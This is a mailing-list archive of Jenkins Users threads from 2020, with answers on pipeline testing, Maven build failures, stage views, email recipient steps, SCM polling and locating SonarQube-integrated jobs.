>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/3119e9f3-e6a8-4fa6-861a-76c9358ab300%40googlegroups.com
> 
> .
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/AM0PR01MB6147F74252A8BD51D29E9A77F71F0%40AM0PR01MB6147.eurprd01.prod.exchangelabs.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9%2BCtDoeyZZbBJ9j4UNDmxJGfuqrzqgDPx6pFxX5fY4CQA%40mail.gmail.com.


Re: Deletion of a GitHub Repository in a GitHub Organization

2020-02-15 Thread Jan Monterrubio
Does it disappear if you force an Organization Scan?

On Sat, Feb 15, 2020 at 15:10 'Maik Brauer' via Jenkins Users <
jenkinsci-users@googlegroups.com> wrote:

> Hi,
>
>
>
> I have a GitHub Repository inside a GitHub Organization. All is properly
> scanned by Jenkins.
>
> When no deleting a GitHub Repo, I would expect that it will be deleted
> also from the Jenkins GitHub Organization.
>
> It still stays there. What else can we do to get rid of this Repo Finally?
>
> Thanks.
>
>
>
> Cheers
>
> Maik
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/acc20ca2-fdae-4ed0-bf0f-4b72839d1cba%40googlegroups.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9L9EOKkdiphxq6-NNK3_OPTEXar5ouSPZS8CP3f-m0PfQ%40mail.gmail.com.


Re: Parallel pipeline and Stage View

2020-02-22 Thread Jan Monterrubio
The blue ocean plugin might be able to give you the view that you want. In
my experience, the vanilla pipelines just append Columns to a table.

On Sat, Feb 22, 2020 at 10:09 Simon Richter 
wrote:

> Hi,
>
> I have a rather simple meta-pipeline:
>
> pipeline {
> parameters {
> string(name: 'PATCH_URL', defaultValue: '', description:
> 'URL of a patch file to download and apply')
> }
> agent none
> stages {
> stage('Build Configurations') {
> parallel {
> stage('Linux') {
> agent none
> steps {
> build job: 'linux-kicad-patch', \
> parameters: [ \
> string(name: 'PATCH_URL', \
> value: "${PATCH_URL}") ], \
> propagate: true, \
> wait: true
> }
> }
> stage('Windows MSYS2') {
> agent none
> steps {
> build job: 'windows-kicad-msys2-patch', \
> parameters: [ \
> string(name: 'PATCH_URL', \
> value: "${PATCH_URL}") ], \
> propagate: true, \
> wait: true
> }
> }
> stage('Windows MSVC') {
> agent none
> steps {
> build job: 'windows-kicad-msvc-patch', \
> parameters: [ \
> string(name: 'PATCH_URL', \
> value: "${PATCH_URL}") ], \
> propagate: true, \
> wait: true
> }
> }
> }
> }
> }
> }
>
> This should build the three downstream projects with the same
> parameters, in parallel.
>
> The stage view shows four stages after starting a build shows four stages:
>
>  - "Build Configurations" (done after 295ms)
>  - "Windows MSVC" (done after 0ms, paused for 0ms)
>  - "Windows MSYS2" (done after 0ms, paused for 0ms)
>  - "Linux" (in progress, with increasing stage time)
>
> Ideally, it wouldn't show the "outer" stage at all, and display the
> three "inner" stages as "in progress" at the same time. Is that possible?
>
>Simon
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/87b628c5-e98c-bae8-182f-7790ceb2e19c%40hogyros.de
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9%2BGNqdoa%2BgvCQb4_dBEowBpQqtfnVqWxaSifPnBQmnPYQ%40mail.gmail.com.


Re: maven build success despite OOM

2020-02-29 Thread Jan Monterrubio
Is your profile setting the ignore errors property for maven ?

On Wed, Feb 26, 2020 at 17:07 James Nord  wrote:

> I'm assuming if you run that outside of Jenkins that the maven command
> returns a non zero exit code?
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/d91777e2-908e-43d5-a454-38f2ea8bcb4b%40googlegroups.com
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9KdZ5PuhjJEe2vmbjJ2-AN1v2kUZU7%3DsdrH8wFvjyHZeQ%40mail.gmail.com.


Re: Jenkins pipeline Testing

2020-03-24 Thread Jan Monterrubio
We unit test our pipelines with :

https://github.com/jenkinsci/JenkinsPipelineUnit

We have some integration tests for them that require the Jenkins Test Rule
and a docker agent that we configure as an external resource (junit4)


Overall the pipeline unit is super nice! We also use the Jenkins plugin for
plugins to consume the plugins on our Jenkins instance as dependencies for
our gradle build.


On Tue, Mar 24, 2020 at 12:32 Jheison Rodriguez 
wrote:

> Hello Everyone, I'd like to know some thoughts about your experience with
> Jenkins pipelines testing (Jenkinsfile, Shared libraries, CPS, declarative
> pipeline). We want to start implementing it in our Company.
>
>
>
> Whatever help will be appreciate
>
>
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/5e7a440f.1c69fb81.e29e6.8eb8%40mx.google.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9LadLK%3DP%2BLu4NvGmFPEyO3C9E_pmUMpLcUVyLPbMXew6w%40mail.gmail.com.


Re: Re: Jenkins pipeline Testing

2020-03-24 Thread Jan Monterrubio
Ah, unfortunately those repos are company property :(

We unit test the declarative pipelines and the 1.3 release of pipeline unit
made it possible to test those without having to copy paste a bunch of
their code!


On Tue, Mar 24, 2020 at 19:16 Jheison Rodriguez 
wrote:

> Thanks for your response,
>
>
>
> Do you have any repo where I can find more examples?. Do you know if it’s
> possible to test declarative pipelines
>
>
>
> Best regards
>
> Jheison Rodriguez
>
>
>
> *From: *Jan Monterrubio 
> *Sent: *Tuesday, March 24, 2020 6:53 PM
> *To: *jenkinsci-users@googlegroups.com
> *Subject: *Re: Jenkins pipeline Testing
>
>
>
> We unit test our pipelines with :
>
>
>
> https://github.com/jenkinsci/JenkinsPipelineUnit
>
>
>
> We have some integration tests for them that require the Jenkins Test Rule
> and a docker agent that we configure as an external resource (junit4)
>
>
>
>
>
> Overall the pipeline unit is super nice! We also use the Jenkins plugin
> for plugins to consume the plugins on our Jenkins instance as dependencies
> for our gradle build.
>
>
>
>
>
> On Tue, Mar 24, 2020 at 12:32 Jheison Rodriguez 
> wrote:
>
> Hello Everyone, I'd like to know some thoughts about your experience with
> Jenkins pipelines testing (Jenkinsfile, Shared libraries, CPS, declarative
> pipeline). We want to start implementing it in our Company.
>
>
>
> Whatever help will be appreciate
>
>
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/5e7a440f.1c69fb81.e29e6.8eb8%40mx.google.com
> <https://groups.google.com/d/msgid/jenkinsci-users/5e7a440f.1c69fb81.e29e6.8eb8%40mx.google.com?utm_medium=email&utm_source=footer>
> .
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
>
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9LadLK%3DP%2BLu4NvGmFPEyO3C9E_pmUMpLcUVyLPbMXew6w%40mail.gmail.com
> <https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9LadLK%3DP%2BLu4NvGmFPEyO3C9E_pmUMpLcUVyLPbMXew6w%40mail.gmail.com?utm_medium=email&utm_source=footer>
> .
>
>
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/5e7aa2b9.1c69fb81.c5525.677d%40mx.google.com
> <https://groups.google.com/d/msgid/jenkinsci-users/5e7aa2b9.1c69fb81.c5525.677d%40mx.google.com?utm_medium=email&utm_source=footer>
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9LTr4A4BeAx75FD4Zu7fySMb8W29JKs%3D-N0EOpWP6oowQ%40mail.gmail.com.


Re: Maveen issue

2020-04-01 Thread Jan Monterrubio
Is this a Jenkins issue? Does it work outside of Jenkins? What Jenkins
version and plugins are you using?

On Wed, Apr 1, 2020 at 20:29 Jeevan Podduturi 
wrote:

> Hi All,
>
> I can compile successfully but i cannot package, please help\guide me on
> the same
>
> [root@maveen mailcasting]# mvn package
> [INFO] Scanning for projects...
> [INFO]
> [INFO] --< mailcasting:mailcasting
> >---
> [INFO] Building mailcasting 0.0.1-SNAPSHOT
> [INFO] [ war
> ]-
> [INFO]
> [INFO] --- maven-resources-plugin:2.6:resources (default-resources) @
> mailcasting ---
> [WARNING] Using platform encoding (UTF-8 actually) to copy filtered
> resources, i.e. build is platform dependent!
> [INFO] skip non existing resourceDirectory
> /root/mailcasting/src/main/resources
> [INFO]
> [INFO] --- maven-compiler-plugin:3.1:compile (default-compile) @
> mailcasting ---
> [INFO] No sources to compile
> [INFO]
> [INFO] --- maven-resources-plugin:2.6:testResources
> (default-testResources) @ mailcasting ---
> [WARNING] Using platform encoding (UTF-8 actually) to copy filtered
> resources, i.e. build is platform dependent!
> [INFO] skip non existing resourceDirectory
> /root/mailcasting/src/test/resources
> [INFO]
> [INFO] --- maven-compiler-plugin:3.1:testCompile (default-testCompile) @
> mailcasting ---
> [INFO] No sources to compile
> [INFO]
> [INFO] --- maven-surefire-plugin:2.12.4:test (default-test) @ mailcasting
> ---
> [INFO] No tests to run.
> [INFO]
> [INFO] --- maven-war-plugin:2.2:war (default-war) @ mailcasting ---
> WARNING: An illegal reflective access operation has occurred
> WARNING: Illegal reflective access by
> com.thoughtworks.xstream.core.util.Fields
> (file:/root/.m2/repository/com/thoughtworks/xstream/xstream/1.3.1/xstream-1.3.1.jar)
> to field java.util.Properties.defaults
> WARNING: Please consider reporting this to the maintainers of
> com.thoughtworks.xstream.core.util.Fields
> WARNING: Use --illegal-access=warn to enable warnings of further illegal
> reflective access operations
> WARNING: All illegal access operations will be denied in a future release
> [INFO] Packaging webapp
> [INFO] Assembling webapp [mailcasting] in
> [/root/mailcasting/target/mailcasting-0.0.1-SNAPSHOT]
> [INFO] Processing war project
> [INFO] Webapp assembled in [8 msecs]
> [INFO] Building war:
> /root/mailcasting/target/mailcasting-0.0.1-SNAPSHOT.war
> [INFO]
> 
> [INFO] BUILD FAILURE
> [INFO]
> 
> [INFO] Total time:  2.339 s
> [INFO] Finished at: 2020-04-02T09:25:49+08:00
> [INFO]
> 
> [ERROR] Failed to execute goal
> org.apache.maven.plugins:maven-war-plugin:2.2:war (default-war) on project
> mailcasting: Error assembling WAR: webxml attribute is required (or
> pre-existing WEB-INF/web.xml if executing in update mode) -> [Help 1]
> [ERROR]
> [ERROR] To see the full stack trace of the errors, re-run Maven with the
> -e switch.
> [ERROR] Re-run Maven using the -X switch to enable full debug logging.
> [ERROR]
> [ERROR] For more information about the errors and possible solutions,
> please read the following articles:
> [ERROR] [Help 1]
> http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException
> [root@maveen mailcasting]#
>
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/CABRoojTT%2B%2B_5%2BZ-fo8XfOE-PV4s%2Bjjg08Q%3DJGW4fCTaMnQQxhg%40mail.gmail.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9%2BiJPx4H09uqrRLHSSf2uw3VV5fFxRgp0KN5-N1QWqzEg%40mail.gmail.com.


Re: Maveen issue

2020-04-01 Thread Jan Monterrubio
[ERROR] Failed to execute goal
org.apache.maven.plugins:maven-war-plugin:2.2:war
(default-war) on project mailcasting: Error assembling WAR: webxml
attribute is required (or pre-existing WEB-INF/web.xml if executing in
update mode) -> [Help 1]

I think that’s your error.

On Wed, Apr 1, 2020 at 20:53 Jan Monterrubio 
wrote:

> Is this a Jenkins issue? Does it work outside of Jenkins? What Jenkins
> version and plugins are you using?
>
> On Wed, Apr 1, 2020 at 20:29 Jeevan Podduturi 
> wrote:
>
>> Hi All,
>>
>> I can compile successfully but i cannot package, please help\guide me on
>> the same
>>
>> [root@maveen mailcasting]# mvn package
>> [INFO] Scanning for projects...
>> [INFO]
>> [INFO] --< mailcasting:mailcasting
>> >---
>> [INFO] Building mailcasting 0.0.1-SNAPSHOT
>> [INFO] [ war
>> ]-
>> [INFO]
>> [INFO] --- maven-resources-plugin:2.6:resources (default-resources) @
>> mailcasting ---
>> [WARNING] Using platform encoding (UTF-8 actually) to copy filtered
>> resources, i.e. build is platform dependent!
>> [INFO] skip non existing resourceDirectory
>> /root/mailcasting/src/main/resources
>> [INFO]
>> [INFO] --- maven-compiler-plugin:3.1:compile (default-compile) @
>> mailcasting ---
>> [INFO] No sources to compile
>> [INFO]
>> [INFO] --- maven-resources-plugin:2.6:testResources
>> (default-testResources) @ mailcasting ---
>> [WARNING] Using platform encoding (UTF-8 actually) to copy filtered
>> resources, i.e. build is platform dependent!
>> [INFO] skip non existing resourceDirectory
>> /root/mailcasting/src/test/resources
>> [INFO]
>> [INFO] --- maven-compiler-plugin:3.1:testCompile (default-testCompile) @
>> mailcasting ---
>> [INFO] No sources to compile
>> [INFO]
>> [INFO] --- maven-surefire-plugin:2.12.4:test (default-test) @ mailcasting
>> ---
>> [INFO] No tests to run.
>> [INFO]
>> [INFO] --- maven-war-plugin:2.2:war (default-war) @ mailcasting ---
>> WARNING: An illegal reflective access operation has occurred
>> WARNING: Illegal reflective access by
>> com.thoughtworks.xstream.core.util.Fields
>> (file:/root/.m2/repository/com/thoughtworks/xstream/xstream/1.3.1/xstream-1.3.1.jar)
>> to field java.util.Properties.defaults
>> WARNING: Please consider reporting this to the maintainers of
>> com.thoughtworks.xstream.core.util.Fields
>> WARNING: Use --illegal-access=warn to enable warnings of further illegal
>> reflective access operations
>> WARNING: All illegal access operations will be denied in a future release
>> [INFO] Packaging webapp
>> [INFO] Assembling webapp [mailcasting] in
>> [/root/mailcasting/target/mailcasting-0.0.1-SNAPSHOT]
>> [INFO] Processing war project
>> [INFO] Webapp assembled in [8 msecs]
>> [INFO] Building war:
>> /root/mailcasting/target/mailcasting-0.0.1-SNAPSHOT.war
>> [INFO]
>> 
>> [INFO] BUILD FAILURE
>> [INFO]
>> 
>> [INFO] Total time:  2.339 s
>> [INFO] Finished at: 2020-04-02T09:25:49+08:00
>> [INFO]
>> 
>> [ERROR] Failed to execute goal
>> org.apache.maven.plugins:maven-war-plugin:2.2:war (default-war) on project
>> mailcasting: Error assembling WAR: webxml attribute is required (or
>> pre-existing WEB-INF/web.xml if executing in update mode) -> [Help 1]
>> [ERROR]
>> [ERROR] To see the full stack trace of the errors, re-run Maven with the
>> -e switch.
>> [ERROR] Re-run Maven using the -X switch to enable full debug logging.
>> [ERROR]
>> [ERROR] For more information about the errors and possible solutions,
>> please read the following articles:
>> [ERROR] [Help 1]
>> http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException
>> [root@maveen mailcasting]#
>>
>>
>> --
>> You received this message because you are subscribed to the Google Groups
>> "Jenkins Users" group.
>> To unsubscribe from this group and stop receiving emails from it, send an
>> email to jenkinsci-users+unsubscr...@googlegroups.com.
>> To view this discussion on the web visit
>> https://groups.google.com/d/msgid/jenkinsci-users/CABRoojTT%2B%2B_5%2BZ-fo8XfOE-PV4s%2Bjjg08Q%3DJGW4fCTaMnQQxhg%40mail.gmail.com
>> <https://groups.google.com/d/msgid/jenkinsci-users/CABRoojTT%2B%2B_5%2BZ-fo8XfOE-PV4s%2Bjjg08Q%3DJGW4fCTaMnQQxhg%40mail.gmail.com?utm_medium=email&utm_source=footer>
>> .
>>
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9KJiH3ay4xmBhPBD7k4bvaWnAsp9EkqCUdRzz-qDnkNmQ%40mail.gmail.com.


Re: Prime Minister Modi: Bharat Ratna For Ratan Tata

2020-04-09 Thread Jan Monterrubio
I don’t think this is appropriate for Jenkins.

On Thu, Apr 9, 2020 at 22:55  wrote:

> Hello there,
>
> I just signed the petition "Prime Minister Modi: Bharat Ratna For Ratan
> Tata" and wanted to see if you could help by adding your name.
>
> Our goal is to reach 150,000 signatures and we need more support. You can
> read more and sign the petition here:
>
> http://chng.it/XxrgdW8wgj
>
> Thanks!
> Somshekar
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/CALbGK-ot%3DWQYZY6T8i_72nU5xmvzgCzsDOJ-z_x-kujJHWT4TQ%40mail.gmail.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9KKxPtB8%3Di6Bxm2v52wJ_4%2BaOWfC%2Bvih7dwLGMbU5g%3D7g%40mail.gmail.com.


Re: The pipeline emailextrecipients step takes too long time

2020-04-26 Thread Jan Monterrubio
Use the timestamps plugin , it has a mode to add global timestamps or you
can configure options per pipeline

On Sun, Apr 26, 2020 at 14:32 Sverre Moe  wrote:

> How can I add timestamp to the debug output?
>
> søndag 26. april 2020 18.30.59 UTC+2 skrev slide følgende:
>>
>> Can you add timestamps? It's hard to tell from what you posted when
>> things are occurring.
>>
>> On Sun, Apr 26, 2020, 01:16 Sverre Moe  wrote:
>>
>>> Yes it did.
>>>
>>> Just one simple little commit, and Checkout took a little over 1 minute
>>>
>>> [Pipeline] emailextrecipients 
>>> 
>>>   Collecting change authors...
>>> build: 168
>>>   adding author: Sverre Moe
>>>
>>> Adding Sverre Moe with address sve...@company.com
>>> Analyzing: sve...@company.com
>>> Looking for: sve...@company.com
>>> starting at: 0
>>> firstFoundIdx: 0
>>> firstFoundIdx-substring: sve...@company.com
>>> => found type: 0
>>> Analyzing: sve...@company.com
>>> Looking for: sve...@company.com
>>> starting at: 0
>>> firstFoundIdx: 0
>>> firstFoundIdx-substring: sve...@company.com
>>> => found type: 0
>>> Analyzing: sve...@company.com
>>> Looking for: sve...@company.com
>>> starting at: 0
>>> firstFoundIdx: 0
>>> firstFoundIdx-substring: sve...@company.com
>>> => found type: 0
>>>
>>>
>>> lørdag 25. april 2020 21.51.25 UTC+2 skrev slide følgende:

 I think the debug logs will just go to the build log.

 On Sat, Apr 25, 2020, 11:58 Sverre Moe  wrote:

> Tried to configure debug
> Manage Jenkins > Configure System > Extended Email Notification
> >Enable Debug
>
> I added a System Log for "hudson.plugins.emailext" and Log Level ALL.
>
> Hope I can find something about why it takes so long.
>
> fredag 24. april 2020 23.20.40 UTC+2 skrev slide følgende:
>>
>> You can turn on debug mode in the global config for Email Ext. The
>> code isn't really doing anything major, it just looks at the changesets 
>> and
>> get the authors, so I am not sure why it would be taking that long.
>>
>> On Fri, Apr 24, 2020 at 1:59 PM Sverre Moe  wrote:
>>
>>> Calling the pipeline step emailextrecipients when there are changes
>>> takes too much time.
>>> A normal git checkout that takes 10-15 seconds, will usually take
>>> 1-2 minutes when there are changes, just because of emailextrecipients.
>>> All I want is the authors from the current build changes. I see no
>>> reason why this should take so long.
>>>
>>> I took a small look at the code for emailextrecipients, and it seems
>>> it looks also on previous builds.
>>>
>>> def recipients = emailextrecipients([developers()])
>>>
>>> Our developers want the builds to run as fast as it can. Time is
>>> precious.
>>> I am considering removing this recipients. I already have the git
>>> repository maintainers I can send email notifications to if anything 
>>> goes
>>> wrong.
>>> The backside of removing this, is I cannot send email notifications
>>> for the developers, just the maintainers (and those only want 
>>> notifications
>>> for release build, and not all continuous builds).
>>>
>>> The reason I call emailextrecipients during the Checkout stage, is
>>> because that is the only stage where I have access to the git 
>>> repository.
>>> Later in the build if it fails I do not have access to git anymore.
>>>
>>> The emailextrecipients code does have some Debug logging. How can I
>>> enable this to see what it is actually doing?
>>>
>>> I was thinking of implementing my own parsing of the change records.
>>> It cannot possibly take more than a few seconds to find the authors of 
>>> all
>>> the changes.
>>>
>>> --
>>> You received this message because you are subscribed to the Google
>>> Groups "Jenkins Users" group.
>>> To unsubscribe from this group and stop receiving emails from it,
>>> send an email to jenkins...@googlegroups.com.
>>> To view this discussion on the web visit
>>> https://groups.google.com/d/msgid/jenkinsci-users/de0f53c9-9512-4fd6-a258-e604412ff77a%40googlegroups.com
>>> 
>>> .
>>>
>>
>>
>> --
>> Website: http://earl-of-code.com
>>
> --
> You received this message because you are subscribed to the Google
> Groups "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send
> an email to jenkins...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/fbf04c99-b61b-4109-ac21-50a77fca08c0%40googlegroups.com

Re: Checkout will put the files on agent, I need it on master node Jenkins

2020-05-11 Thread Jan Monterrubio
You can run jobs on master, there’s a “specify where to run” option and if
you put master on there the checkout And any scripts should be on master.

On Mon, May 11, 2020 at 17:44 SARDARNI NK  wrote:

> Hi Everyone,
>
>  The checkout will put the files on the agent, I need it on the master
> node.
>
> Could anyone can help me.
>
> Is there anyway to setup another Jenkins job that can copy the code on the
> master?
>
> Currently, I am copy file.sh in manually on the master, and calling that
> file in Jenkins job using
>
> In job, I am using *execute groovy system script plugin* and passing the
> Master node local path  /home/file.sh
>
> def sout = new StringBuilder(), serr = new StringBuilder()
>
> def proc = '/home/file.sh'.execute()
>
> proc.consumeProcessOutput(sout, serr)
>
> I am not sure if in *executed groovy system script *we can so pass svn
> path location.
>
>
> Thanks,
> Nav
>
>
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/d1dd39b2-4851-4784-a18b-3a6f0fe50e77%40googlegroups.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9Kp%2Bs--RmFUhx%2BCSs80P5YfQLqM8M_iz_x3Y%2B38yqEu_Q%40mail.gmail.com.


Re: How to get a list of jobs that are integrated with SonarQube

2020-05-23 Thread Jan Monterrubio
You could iterate over the list of jobs and get the configuration traits
for them, and check if they have sonar cube, something like

Jenkins.getInstance().items.each { it ->

it.configuration?.steps // not sure what XML type the sonar cube step is,
if it has a step
}


On Sat, May 23, 2020 at 8:43 PM Vijay Gongle  wrote:

> We have plenty of Jenkins job and most of them are running with SonarQube
> for analysis.
>
> How to find out; how many such jobs are running with SonarQube ?
>
> Thanks
> Vijay
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/d82c76df-ce71-45c3-8449-79a1b1f19bac%40googlegroups.com
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9%2BG%3Df7AkSfE2v3xmQRUDcJvkThxNQ%2BL4nspcMsHrvhq5w%40mail.gmail.com.


Re: Pipeline SCM trigger breaks

2020-05-25 Thread Jan Monterrubio
https://github.com/jenkinsci/git-plugin

The plugin lives there, so probably adding loggers to its root packages
might give you some info.

On Mon, May 25, 2020 at 06:38  wrote:

> Hi everyone,
>
>
>
> does anyone know, how I can get more information about the internal state
> of the Jenkins Git Plugin, especially the mapping from
> repositories/branches to pipelines, that need to be triggered on SCM
> changes?
>
> Are there classes, that I can add to a log recorder, files in Jenkins
> Home, anything?
>
>
>
> Thanks!
>
> Stefan
>
>
>
> *Von:* jenkinsci-users@googlegroups.com [mailto:
> jenkinsci-users@googlegroups.com] *Im Auftrag von *stefan.rademac...@tk.de
> *Gesendet:* Donnerstag, 14. Mai 2020 16:47
> *An:* jenkinsci-users@googlegroups.com
> *Betreff:* [SPAM-Verdacht] Pipeline SCM trigger breaks
>
>
>
> Hi,
>
>
>
> I have configured a multibranch pipeline (declarative), which checks out
> several git repositories and has pollSCM('') configured:
>
>
>
> I deleted and recreated the build for branch 'int'. The first two builds
> were triggered by branch indexing and manually by me.
>
> The 'Git Polling Log' from yesterday shows "Changes found" at the end of
> the polling log.
>
> Build #3 was successfully triggered yesterday, right after polling had run.
>
>
>
> Nothing changed in the meantime, but since then all calls to
>
>
> https://jenkins.dst.tk-inline.net:8181/git/notifyCommit?url=https://github.tk-online.net/TKeasy/arbeitgeberbeitrag&branches=int
>
> ('TKeasy/arbeitgeberbeitrag' is one of the repositories, that were checked
> out by the pipeline and polled for changes)
>
> don't trigger a new polling.
>
> Instead I get
>
> No git jobs using repository:
> https://github.tk-online.net/TKeasy/arbeitgeberbeitrag and branches: int
>
> No Git consumers using SCM API plugin for:
> https://github.tk-online.net/TKeasy/arbeitgeberbeitrag
>
>
>
> "View Configuration" shows, that "poll SCM" is still checked.
>
>
>
> Logging output shows no "Triggering the polling of…", after
>
> Received notification from 10.252.62.17 ⇒
> https://jenkins.dst.tk-inline.net:8181/git/notifyCommit for uri =
> https://github.tk-online.net/TKeasy/arbeitgeberbeitrag ; sha1 = null ;
> branches = [int]
>
>
>
> For other branches, the polling is triggered successfully.
>
>
>
> Does anyone have a hint, how to trace down the cause of this issue further?
>
>
>
> Thanks and best regards
>
> Stefan
>
>
>
>
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/27e93ee328da4e66962363082d3afd7f%40tk.de
> 
> .
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/82617e38e6054d278da143aa4ba6525a%40tk.de
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CADgiF9%2BGNKTj9n0iB0c%3DxCNwP1agpxo%3DjyCNve9ACc%3D4fVHMRw%40mail.gmail.com.


Re: How to get a list of jobs that are integrated with SonarQube

2020-05-25 Thread Jan Monterrubio
Can you post the config xml for one of the jobs? Hitting the config.xml
should let us see what props there are.

